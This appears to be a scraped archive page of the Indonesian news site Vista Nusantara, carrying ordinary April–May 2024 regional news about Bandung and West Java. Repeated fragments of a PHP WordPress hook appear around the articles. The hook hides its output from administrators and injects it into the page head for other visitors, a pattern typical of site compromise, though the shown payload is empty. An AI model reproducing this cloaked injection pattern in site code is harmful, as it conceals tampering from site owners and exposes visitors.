if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 252 dari 271 -

Vista Nusantara

?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • ELFEST 2024 Mengubah Lapangan Brigif Cimahi Menjadi Ruang Perayaan Musik dan Kebersamaan

    ELFEST 2024 Mengubah Lapangan Brigif Cimahi Menjadi Ruang Perayaan Musik dan Kebersamaan

    VISTA NUSANTARA – Sejak sore hingga larut malam, Lapangan Brigif Cimahi tak lagi sekadar ruang terbuka. Pada 18 Mei 2024, tempat tersebut menjelma menjadi titik temu ribuan orang yang datang dengan satu tujuan: merayakan musik di ELFEST 2024.

    Festival ini menghadirkan pengalaman yang padat dan berlapis. Dentuman musik dari panggung utama berpadu dengan koor penonton yang bernyanyi bersama, menciptakan suasana kolektif yang jarang ditemui di event musik kota. Sekitar 12.000 penonton tumpah ruah, mengisi setiap sudut area hingga acara berakhir.

    ELFEST 2024 menyuguhkan kurasi penampil yang mencerminkan keberagaman selera musik. Maliq & D’Essentials membawa nuansa hangat dan romantis, Juicy Luicy mengajak penonton tenggelam dalam lagu-lagu galau, sementara For Revenge memantik energi lewat hentakan alternatif rock. Warna semakin lengkap lewat Vieratale, YakezaRasta, The Chancuters, The Latifa, hingga Club Dangdut Racun yang mengubah area festival menjadi lantai joget massal.

    Namun, ELFEST 2024 tidak hanya hidup di atas panggung. Di sekeliling area konser, 30 tenant UMKM lokal menjadi denyut lain dari festival ini—menawarkan kuliner, produk kreatif, hingga ruang interaksi antarpenonton. Kehadiran lebih dari tujuh sponsor turut memperkuat ekosistem festival yang terorganisir dan berkelanjutan.

  • Hardiknas 2024: Pemkot Optimis Antarkan Anak-anak Kota Bandung Raih Bonus Demografi 2045

        Bandung, VN – Pemerintah Kota (Pemkot) Bandung optimis bisa mengantarkan para instan pendidikan khususnya anak-anak Kota Bandung mendapatkan bonus demografi tahun 2045.

    “Pemkot Bandung sangat peduli pada sistem pendidikan di Kota Bandung ini. Meskipun kewenangan itu sebuah regulasi yang tidak bisa kita tantangan lagi, sehingga hal itu sebagai referensi untuk dilaksanakan,” kata Penjabat Wali Kota Bandung, Bambang Tirtoyuliono pada kegiatan Upacara Peringatan Hari Pendidikan Nasional (Hardiknas) Tingkat Kota Bandung tahun 2024, di Kantor Disdik Kota Bandung, Kamis 2 Mei 2024.
    Menurut Bambang, dengan program Rawan Melanjutkan Pendidikan (RMP) di Kota Bandung sebagai upaya memberikan kepedulian serta hak bagi siswa siswi untuk mendapatkan pendidikan.
    “Dengan program Rawan Melanjutkan Pendidikan, semua warga Bandung mulai Paud, SD, SMP bahkan kita peduli SMA/SMK secara berkelanjutan,” tuturnya.
    Bambang menambahkan, tahun 2045 mendapatkan bonus demografi. Sehingga pendidikan menjadi salah satu tanggungjawab dalam membentuk SDM yang berkualitas.
    “Tahun 2045 kita akan mengalami bonus demografi. Pendidikan memiliki tanggung jawab mulia antaranya anak bisa mengisi pembangunan. Ini hal yang tidak mudah, tapi kita optimis melakukannya, sehingga anak bangsa bisa menguasai pembangunan untuk memajukan negeri,” bebernya.
    Sebelumnya, Bambang membacakan sambutan Menteri Pendidikan, Kebudayaan, Riset dan Teknologi, Nadiem Anwar Makarim, saat ini sudah mulai merasakan perubahan terjadi. Hal ini digerakkan bersama dengan langkah yang serempak dan serentak.
    “Wajah baru pendidikan dan kebudayaan Indonesia sedang kita bangun bersama dengan gerakan Merdeka Belajar. Kita sudah mendengar lagi anak-anak Indonesia berani bermimpi karena mereka merasa merdeka saat belajar di kelas,” ujarnya.
    Ia menambahkan, sudah terlihat guru-guru yang berani mencoba hal-hal baru karena mereka mendapatkan kepercayaan untuk mengenal dan menilai murid-muridnya.
    “Kita sudah menyaksikan lagi para mahasiswa yang siap berkarya dan berkontribusi karena ruang untuk belajar tidak lagi terbatas di dalam kampus,” ungkapnya.
    Dengan penuh harapan, ia menitipkan Merdeka Belajar kepada semua pihak, para penggerak perubahan yang tidak mengenal kata menyerah untuk membawa Indonesia melompat ke masa depan.
    “Selamat Hari Pendidikan Nasional. Mari terus bergotong royong menyemarakan dan melanjutkan gerakan Merdeka Belajar,” tuturnya. (dskoinfo.bdg)

  • Peringati Hari Buruh Internasional, Bey Machmudin Ajak Buruh Hadirkan Kegiatan Positif

        Jawa Barat, VN – Penjabat Gubernur Jawa Barat Bey Machmudin mengajak para pekerja untuk mengisi peringatan Hari Buruh Internasional dengan aktivitas yang bermanfaat dan positif bagi masyarakat.

    Hal itu dikatakannya usai meresmikan revitalisasi Jembatan Cikarang penghubung Kawasan Industri EJIP – MM2100 di Kabupaten Bekasi, Rabu (1/5/2024).
    “Mari kita peringati Hari Buruh ini dengan kegiatan yang positif dan berdampak baik bagi masyarakat,” ujar Bey Machmudin.
    Bertepatan dengan peringatan Hari Buruh, Bey berharap semua buruh dapat menghadirkan acara yang positif karena menurutnya, hal itu dapat meningkatkan soft skill yang dimiliki para buruh.
    “Mari kita peringati Hari Buruh dengan kegiatan positif dan kondusif, juga untuk meningkatkan skill seperti pekerja di Bandung menggelar simposium, yang juga dilaksanakan di beberapa kabupaten/kota,” imbuhnya.
    Bey mengungkapkan pula bahwa pemerintah merasakan dampak dari kinerja para buruh dalam mendorong perekonomian nasional.
    “Pemerintah telah menetapkan Hari Buruh sebagai hari libur, jadi artinya pemerintah mengakui bahwa tenaga kerja buruh memiliki peranan penting bagi ekonomi nasional,” pungkas Bey. (h.jbr)

  • Indonesia Dorong Pembentukan Global Water Fund di World Water Forum ke-10

        Nasional, VN – Pemerintah Indonesia mendorong pembentukan Global Water Fund di ajang World Water Forum ke-10 yang diselenggarakan pada 18–25 Mei 2024 di Nusa Dua, Bali.

    Koordinator Subtema Pembiayaan Air Berkelanjutan World Water Forum ke-10 sekaligus Direktur Jenderal Pembiayaan Infrastruktur Pekerjaan Umum dan Perumahan Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) Herry Trisaputra Zuna menjelaskan bahwa Global Water Fund sangat penting untuk merespons ketimpangan anggaran.
    Ia juga menambahkan, hal ini dapat mempercepat pencapaian Tujuan Pembangunan Berkelanjutan (SDG) 6 yaitu pemenuhan akses air bersih dan sanitasi bagi semua pada 2030.
    “Saat ini, terdapat 2.2 miliar masyarakat di dunia yang tidak dapat mengakses air bersih. Global Water Fund yang diproyeksikan untuk kebutuhan infrastruktur air, mitigasi krisis atau bencana terkait air, adaptasi perubahan iklim, serta mekanisme pemantauan, akan menjadi langkah nyata mengatasi masalah air dunia,” ujar Herry di Jakarta, Selasa (30/4/2024).
    Pemerintah Indonesia pun telah membentuk Indonesian Water Fund (IWF) sebagai upaya mendorong investasi dan penyediaan air bersih di seluruh Indonesia.
    “IWF diperkirakan akan mengoperasikan pendanaan hingga USD1 milyar untuk proyek air bersih,” tambah dia.
    Ketua Sekretariat Panitia Nasional Penyelenggara World Water Forum ke-10 sekaligus Sekretaris Jenderal Kementerian PUPR Muhammad Zainal Fatah menambahkan bahwa hasil diskusi terkait pembiayaan air berkelanjutan dan inisiasi Global Water Fund akan menjadi concept note yang akan dibawa dan dielaborasikan pada World Water Forum ke-10 di Bali. Tiga proses utama pada forum adalah politik, regional, dan tematik.
    Sementara, Direktur Pusat Pendanaan Iklim dan Kebijakan Multilateral, Badan Kebijakan Fiskal, Kementerian Keuangan Republik Indonesia Boby Wahyu Hernawan mengatakan pentingnya belajar dari pengalaman Pandemic Fund dan Green Climate Fund jika usulan pembentukan Global Water Fund disepakati di World Water Forum ke-10.
    “Merespons ancaman krisis air dengan pembangunan arsitektur pembiayaan global adalah langkah preventif yang tepat. Kesiapan dan mawas diri adalah kunci. Pandemi mengajarkan kita bahwa biaya atas ketidaksiapan akan jauh lebih tinggi,” katanya.
    Pemerintah Indonesia mengusung empat misi penting dalam forum air internasional terbesar di dunia World Water Forum ke-10. Keempat misi tersebut, yakni kehadiran jaringan terpusat di kawasan Asia Pasifik yang khusus ditujukan pada isu ketahanan air, perubahan iklim, dan penelitian lingkungan.
    Selanjutnya, menciptakan hubungan dengan institusi, akademisi, organisasi penelitian, serta lembaga internasional lainnya. Ketiga, kehadiran konsorsium yang berfokus pada pusat data.
    Terakhir, mengoordinasikan serta mengimplementasikan berbagai upaya multipihak untuk menciptakan sebuah deklarasi atau inisiatif terkait permasalahan air dunia. Selain itu, pemerintah juga mendorong penetapan Hari Danau Sedunia di World Water Forum ke-10 untuk menjaga keberlangsungan sumber daya air. (sekab)

  • Raperda Pelayanan Bidang Pangan, Pertanian dan Perikanan Disetujui DPRD Kota Bandung

        Kota Bandung, VN – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Bandung telah menyetujui Rancangan Peraturan Daerah (Raperda) Kota Bandung tentang Pelayanan Bidang Pangan, Pertanian dan Perikanan pada Sidang Paripurna DPRD Kota Bandung di Gedung DPRD Kota Bandung, Selasa, 30 April 2024.

    Disetujuinya Raperda tersebut ditandai dengan penandatangan persetujuan bersama atas Raperda oleh Pj Wali Kota Bandung dan DPRD Kota Bandung.
    Dalam pandangan akhirnya, Pj Wali Kota Bandung, Bambang Tirtoyuliono mengatakan pelayanan pangan, pertanian dan perikanan merupakan kebutuhan dasar manusia yang paling utama dalam pemenuhannya.
    “Atas nama Pemerintah Kota Bandung kami menyampaikan terimakasih dan penghargaan kepada DPRD yang telah menetapkan satu buah Raperda tentang pelayanan bidang pangan pertanian dan perikanan,” kata Bambang.
    Secara substansi, lanjut Bambang, Raperda tentang pelayanan bidang pangan, pertanian dan perikanan mengatur sejumlah hal, yakni:
    1. Pelayanan bidang pangan dilaksanakan dalam rangka mewujudkan kedaulatan pangan dan kemandirian pangan dan ketahanan pangan, ketahanan kerawanan pangan, serta keamanan pangan. Untuk terselenggaranya bidang pangan pemerintah kota Bandung akan melaksanakan beberapa langkah kebijakan diantaranya menyediakan gudang cadangan pangan, pengalokasikan lahan sawah dilindungi dengan lahan pertanian pangan berkelanjutan sesuai kemampuan daerah kota serta melaksanakan program pertanian perkotaan atau urban farming secara berkelanjutan yang salah satunya dengan dikenal dengan Buruan SAE.
    2. Penyelenggaraan bidang pertanian pada pemerintah daerah dilaksanakan oleh dinas dan perangkat daerah terkait. Layanan bidang pertanian meliputi persawahan bidang pertanian, prasarana pertanian, perlindungan pertanian, dan penerbitan rekomendasi perizinan usaha. Selain itu Raperda ini mengatur pelayanan bidang peternakan di mana pemerintah daerah Kota Bandung menetapkan jenis pelayanan tertentu sebagai sub layanan pertanian daerah kota.
    3. Pelayanan bidang perikanan meliputi perikanan budidaya yang terdiri dari pembenihan dan pembesaran ikan, pengolahan dan pemasaran hasil perikanan dan sarana prasarana perikanan.
    Bambang mengatakan, dalam upaya menunjang pelaksanaan bidang pangan pertanian dan perikanan juga, Pemkot Bandung akan melakukan kerja sama membangun informasi pangan dan meningkatkan peran serta masyarakat melalui pembentukan forum.
    Pada kesempatan tersebut pula, dilaksanakan Penyampaian Penjelasan Wali Kota Perihal Raperda tentang RPJPD Kota Bandung Tahun 2025-2045. (dskoinfo.bdg)

  • Braga Free Vehicle Jadi Momentum Penataan Ulang Kawasan Wisata Kota Bandung

        Kota Bandung,VN – Ketua DPRD Kota Bandung, Tedy Rusmawan menyambut positif agenda Braga Free Vehicle yang mulai diterapkan akhir pekan ini, 4—5 Mei 2024. Ia mendorong agenda ini menjadi momentum penataan ulang kawasan wisata di Kota Bandung.

    Tiga aspek yang disoroti DPRD Kota Bandung dalam momentum penataan ulang dan perbaikan kawasan wisata Kota Bandung ini meliputi lalu lintas, sarana parkir, serta bangunan-bangunan bersejarah, khususnya di kawasan Jalan Braga.
    “Saat ini bisa dibilang eranya ‘selfie’. Sangat bagus kalau ini jadi momentum perbaikan, sehingga masyarakat ataupun wisatawan bisa lebih menikmati suasana di Jalan Braga,” ujar Tedy dalam Bandung Menjawab, Senin 29 April 2024.
    Ia mendorong kawasan Jalan Braga jadi magnet kembali untuk salah satu lokasi wisata Kota Bandung.
    “Masyarakat menantikan penataan di pusat-pusat Kota Bandung seperti ini. Ketika Braga ditata, Kota Bandung lebih nyaman, warganya lebih senang,” terangnya.
    Tedy memastikan, DPRD Kota Bandung akan terus mengawal berlangsungnya agenda Braga Free Vehicle. Selain itu, Tedy juga mengajak masyarakat untuk berpartisipasi aktif memberi masukan saat agenda ini dijalankan.
    “Insyaallah tanggal 4—5 Mei kami akan memantau ke lapangan. Kami akan cek dampak-dampaknya, seperti misalnya dampak sosial yang mungkin terjadi. Kami tetap akan meminta teman-teman warganet memberikan komentar, supaya evaluasinya juga terpadu,” ucap Tedy.
    Sementara itu, Ketua RW 06 Braga, Istiti Suryani mendukung agenda Braga Free Vehicle yang akan diimplementasikan akhir pekan ini. Ia meyakini, agenda ini merupakan upaya Pemkot Bandung untuk mengembalikan rasa nyaman di kawasan Jalan Braga.
    “Kami mewakili warga di Jalan Braga sangat mendukung dan optimis dengan agenda Braga Free Vehicle. Ini waktunya warga dan wisatawan dapat menikmati suasana di Braga tanpa hingar bingar seperti saat ini,” tuturnya.
    Sebagai informasi, penerapan Braga Free Vehicle mulai dilakukan pada 4—5 Mei 2024 mendatang. Secara teknis, nantinya kawasan Jalan Braga akan bebas kendaraan mulai hari Sabtu pukul 00.00 WIB hingga Minggu malam pukul 23.59 WIB. (dskoinfo.bdg)

  • Wakil Ketua Komisi C DPRD Kota Bandung, Ir. H. Agus Gunawan mengkritisi dan Beri Catatan Rencana Braga Bebas Kendaraan

        Kota Bandung, VN -Wakil Ketua Komisi C DPRD Kota Bandung, Ir. H. Agus Gunawan mengkritisi rencana penerapan program Braga Bebas Kendaraan yang akan diterapkan Pemerintah Kota Bandung.

    Agus meminta Pemerintah Kota Bandung memberikan sosialisasi yang jelas dan detail kepada masyarakat sebelum benar-benar menerapkan program Braga Bebas Kendaraan.
    Menurut Agus, masyarakat yang terdiri dari unsur warga yang tinggal di Jalan Braga serta para pengusaha di Jalan Braga harus diajak musyawarah agar program Braga Bebas Kendaraan tidak menjadi program sesaat.
    “Masyarakat harus dilibatkan. Konsep harus jelas, jangan sampai asal-asalan yang nantinya pemerintah dicemooh oleh masyarakat,” ujarnya, saat menjadi narasumber talk show Obrolan Plus Solusi (OPSI), di Studio PRFM, Sabtu, 27 April 2024.
    Lebih lanjut Agus mengatakan, Pemerintah Kota Bandung harus menyiapkan skema arus lalu lintas yang jelas sebelum menerapkan program Braga Bebas Kendaraan.
    Sebab, kata Agus, tanpa skema arus lalu lintas yang baik termasuk kantong-kantong yang jelas, kemacetan akan timbul di area-area lain ketika Jalan Braga dibebaskan dari lalu-lalang kendaraan.
    “Jangan sampai Braga Bebas Kendaraan ini diterapkan hanya untuk memindahkan kemacetan. Jangan sampai Braga Bebas Kendaraan, tapi kemacetan timbul di mana-mana,” tuturnya.
    Selain itu, Agus pun meminta Pemerintah Kota Bandung untuk mengangkat para pelaku UMKM serta Seni Budaya ketika Jalan Braga Bebas Kendaraan diterapkan. Hal ini demi meningkatkan perekonomian di kawasan Braga.
    “Harus ada koordinasi, antar OPD, apakah itu dengan Disbudpar, Koperasi dan UMKM, ini harus ada koordinasi jangan sampai hanya untuk satu pihak saja, pikirkan juga masyarakat yang ada di Braga,” katanya.
    Menanggapi persoalan risiko kemacetan arus lalu lintas ketika Braga Bebas Kendaraan diterapkan, Plt Kepala Dishub Kota Bandung Asep Kuswara menyatakan, pihaknya telah menyiapkan kantong-kantong parkir resmi bagi warga.
    “Untuk parkir on-street, kita siapkan kantong parkir di lahan milik pemerintah, sebagai contoh Balai Kota Bandung, Kantor Dinas Pengairan, Bank Bandung, BJB, Gedung Keuangan, Bina Marga, Basement Alun-alun. Sedangkan untuk kantong parkir on-street, kita arahkan di sekitaran Cikapundung atau area-area parkir yang dikelola oleh BLUD Parkir Dishub Kota Bandung,” katanya.
    Selain itu, lanjut Asep, Dishub Kota Bandung juga menyiapkan konsep penjemputan wisatawan yang hendak menginap di kawasan Braga dengan menggunakan kendaraan khusus agar meminimalisir kemacetan.
    “Kalau Braga Bebas Kendaraan diterapkan, wisatawan (termasuk tamu hotel) tidak membawa kendaraan pribadi, tapi dijemput menggunakan shuttle,” ucapnya.
    Sementara Sekretaris Disbudpar Kota Bandung, Nuzrul Irwan Irawan menyebutkan, pihaknya telah siap berkolaborasi untuk meningkatkan kualitas wisata dan perekonomian ketika program Jalan Braga Bebas Kendaraan diterapkan.
    Kolaborasi yang telah disiapkan Disbudpar Kota Bandung ini untuk menonjolkan penampilan seni budaya, hotel dan penginapan, serta kafe dan restoran termasuk dari kalangan UMKM.
    “Dalam menyukseskan Braga Bebas Kendaraan, kami telah berkoordinasi untuk menyediakan talenta-talenta musik serta sarana pendukung seni budaya. Kami juga telah berkoordinasi dengan Asosiasi Hotel dan Penginapan serta Asosiasi Kafe dan Restoran,” tuturnya. (h.dprd)

  • Ketua Komisi III DPRD Provinsi Jawa Barat Phinera Wijaya, Kami akan Awasi Kinerja BUMD Jabar

        Jawa Barat VN – DPRD Provinsi Jawa Barat menyoroti pencapaian kinerja Badan Usaha Milik Daerah (BUMD) Provinsi Jawa Barat. Khususnya yang belum mencapai target maksimal sesuai dengan perencanaan yang telah disampaikan.

    Hal tersebut mengemuka saat Komisi III DPRD Provinsi Jawa Barat melakukan kunjungan kerja ke Bank BJB syariah Soepomo, BJB Cabang Ashim Ashari dan Jasa Sarana, Kamis (25/4/2024)
    Ketua Komisi III DPRD Provinsi Jawa Barat Phinera Wijaya mengatakan, kunjungan Komisi III untuk melihat kinerja mitra kerja komisi III untuk triwulan pertama di tahun 2024 ini ada beberapa catatan untuk kami evaluasi seperti BUMD yang sudah bisa mandiri atau memberikan keuntungan untuk jawa barat seperti BJB dan MUJ ( Migas Utama Jabar ) namun BUMD lain masih jauh dari harapan
    “Komisi III menyalakan kinerja BUMD yang dinilai masih belum optimal dalam mencapai targetnya untuk awal tahun 2024 ini. Dan seperti yang kita ketahui memang BUMD seperti BJB atau MUJ itukan memberikan deviden atau keuntungan yang signifikan untuk Jawa Barat. Namun penelitian – perusahaan yang lain masih bisa belum memenuhi harapan kita semua dan masih harus mendapatkan pantauan dan dorongan” tutur Phinera.
    Phinera menambahkan,seluruh pimpinan dan anggota di Komisi III akan selalu mengawasi dan mendukung serta mencari dimana kendala dan permasalahan dari BUMD – BUMD ini. Sehingga seluruh BUMD Jabar dapat memberikan kontribusi PAD yang maksimal untuk provinsi.
    “Kita (Komisi III-red) akan selalu mengawasi dan mendorong serta bersama-sama akan mencari dimana letak kendala dan permasalahan yang mereka hadapi. Tentu kitapun harus mencari cara dan solusi yang terbaik sehingga seperti harapan kita semua nantinya bisa memberikan kontribusi yang maksimal untuk Provinsi Jawa Barat,” tutup Phinera Wijaya.(h.jbr)

  • Peringati Hari Otonomi Daerah, Komitmen Menuju Ekonomi Hijau dan Lingkungan yang Sehat

        Kota Bandung, VN – Perjalanan kebijakan otonomi daerah selama lebih dari seperempat abad merupakan momentum yang tepat untuk melahirkan berbagai terobosan kebijakan bernilai manfaat dan berkelanjutan. Salah satunya dengan mewujudkan lingkungan yang sehat melalui ekonomi hijau.

    Hal itu diungkapkan Plh Sekretaris Daerah Kota Bandung, Hikmat Ginanjar pada upacara Upacara Peringatan ke-28 Hari Otonomi Daerah Tingkat Kota Bandung di Balai Kota, Kamis 25 April 2024.
    Tahun ini mengusung tema “Otonomi Daerah Berkelanjutan Menuju Ekonomi Hijau dan Lingkungan yang Sehat”.
    Hal ini merupakan sebuah komitmen tanggung jawab dan kesadaran seluruh jajaran pemerintah daerah akan amanah serta tugas untuk membangun keberlanjutan dalam pengelolaan sumber daya alam dan lingkungan hidup di tingkat lokal serta mempromosikan model ekonomi yang ramah lingkungan untuk menciptakan masa depan yang berkelanjutan bagi generasi mendatang.
    Ia menyebut dalam konteks ekonomi hijau yang merupakan salah satu dari enam strategi transformasi ekonomi indonesia untuk mencapai visi 2045. Kebijakan desentralisasi memberikan ruang bagi pemerintah daerah untuk mengelola sumber daya alam secara lebih efisien dan berkelanjutan.
    “Termasuk melalui transformasi produk unggulan dari yang semula berbasis produk yang tidak dapat diperbaharui seperti industri pengolahan pertambangan, menjadi produk dan jasa yang diperbaharui dengan tetap memperhatikan potensi daerah, seperti pertanian, kelautan dan pariwisata,” kata Hikmat saat membacakan sambutan tertulis Menteri Dalam Negeri.
    Kebijakan otonomi daerah juga memberikan keleluasaan pemerintah daerah untuk melakukan eksperimentasi kebijakan di tingkat lokal untuk mendorong implementasi teknologi hijau.
    Seperti penggunaan energi terbarukan seperti energi matahari (solar panel), penggunaan mobil listrik yang menggantikan eksistensi mobil berbahan bakar fosil, pengolahan limbah yang ramah lingkungan sampai desain green building yang memperhatikan efisiensi energi, penggunaan material konstruksi ramah lingkungan dan manajemen limbah bangunan.
    “Dengan menggabungkan kebijakan otonomi daerah yang berfokus pada pembangunan ekonomi hijau, kita dapat menciptakan dampak positif bagi lingkungan, masyarakat dan perekonomian secara keseluruhan,” ujarnya.
    Selain itu, pemerintah daerah secara eksisting dihadapkan pada hambatan dan tantangan dalam pembangunan daerah untuk mendorong program pembangunan nasional meliputi penanganan stunting, dan penurunan angka kemiskinan ekstrem.
    Tak hanya itu, ada pula pengendalian inflasi, peningkatan pelayanan publik yang berkualitas melalui Sistem Pemerintahan Berbasis Elektronik (SPBE), percepatan proses pemulihan perekonomian nasional maupun daerah serta ekonomi hijau dan lingkungan yang sehat.
    Setelah 28 tahun berlalu, otonomi daerah telah memberikan dampak positif, berupa meningkatnya angka Indeks Pembangunan Manusia (IPM), bertambahnya Pendapatan Asli Daerah (PAD) dan kemampuan fiskal daerah.
    “Implementasi pengembangan wilayah perlu dilakukan melalui pendekatan kebijakan yang berkelanjutan dan implementasi regulasi ekonomi hijau. Penyelengaraan pemerintahan daerah dan pertumbuhan ekonomi dilakukan dengan memperhitungkan aspek keadilan sosial dan pelestarian lingkungan,” ungkapnya.(sumber:dskoinfo.bdg)

  • DPRD Kota Bandung Siap Perjuangkan Aspirasi Guru Honorer dan Tenaga Honorer

        Bandung, VN – Ketua Badan Kehormatan DPRD Kota Bandung H. Andri Rusmana, S.Pd.I., menerima audiensi Asosiasi Guru Honorer dan Tenaga Honorer (AGTH) PGRI Kota Bandung, di Ruang Bamus DPRD, Senin, 22 April 2024.

    Ketua AGTH Kota Bandung, Supono, audiensi itu mewakili tenaga honorer anggota AGTH PGRI se-Kota Bandung. Mereka meminta DPRD Kota Bandung mengiringi perjuangan mereka untuk menentukan masa depan para tenaga honorer.
    “Silaturahmi, menyambung perjuangan dari kawan terdahulu. Anggota kami seluruh honorer se-Kota Bandung, ada guru, tenaga administrasi sekolah, pustakawan, penjaga sekolah. Kami kemari terkait isu UU No. 20 Tahun 2023, yang salah satunya menyebutkan bahwa kepala sekolah tidak boleh mengangkat honorer kembali,” kata Ketua AGTH PGRI Kota Bandung, Supono.
    Ia menjelaskan, sebelum permohonan audiensi mereka layangkan ke DPRD Kota Bandung, mereka telah menemui Dinas Pendidikan Kota Bandung serta Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kota Bandung. Mereka mendapat jawaban dari Disdik Kota Bandung dan BKPSDM Kota Bandung bahwa saat ini masih menunggu kepastian regulasi.
    Supono menuturkan, nasib tenaga honorer ini begitu tak pasti. Tidak semua tenaga honorer yang selama ini bertugas menyokong jalannya sistem kependidikan di Kota Bandung lolos menjadi ASN Pegawai Pemerintah dengan Perjanjian Kerja (PPPK).
    Tenaga honorer yang diperjuangkan melalui AGTH PGRI ini bukan hanya guru, tetapi juga meliputi banyak bidang seperti tenaga administrasi hingga penjaga sekolah. Peran mereka begitu besar untuk menopang jalannya sistem kependidikan di setiap sekolah. Bahkan di antara mereka telah menjadi tenaga honorer hingga belasan atau puluhan tahun.
    “Jadi untuk perekrutan nanti disebutkan tergantung pemerintah daerah. Tetapi apakah sanggup pemda membiayai?” tutur Supono.
    Andri Rusmana, yang juga anggota komisi D DPRD Kota Bandung yang menangani bidang pendidikan memastikan bahwa Kota Bandung seharusnya bisa memastikan masa depan para tenaga honorer.
    “Kota Bandung seharusnya lebih siap secara anggaran, dibanding kabupaten atau kota lain. Karena APBD-nya jauh lebih besar,” katanya.
    Meski begitu, kata Andri, jika memang bakal ada kebijakan baru untuk menentukan nasib tenaga honorer, ia berharap ada sejumlah hal yang dievaluasi. Hal ini merujuk pada pertimbangan penting pengangkatan status tenaga honorer yang didasarkan pada masa kerja.
    “Terkait data honorer (yang akan mendapat kepastian status mendatang) ini harus disepakati. Yang penting juga ada faktor pengabdian. Jangan sampai yang sudah belasan, puluhan tahun bertugas dikesampingkan. Mudah-mudahan wali kota ke depan sesuai yang kita harapkan, yang merangkul semuanya karena tugasnya menyejahterakan rakyat,” ujarnya.
    Andri mengatakan, aspirasi dari AGTH PGRI ini akan menjadi bahan DPRD Kota Bandung untuk dijadikan pertimbangan kebijjakan selanjutnya. “Apalagi data yang kami peroleh ini bukan asumsi, tetapi hasil fakta di lapangan. Kami akan koordinasikan dengan teman-teman di pusat (DPR RI). Di Kota Bandung, kami DPRD juga akan terus memperjuangkan. Saya siap mengawal, berjuang bersama bapak dan ibu,” tutur Andri. (sumber:dprd.bdg)
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);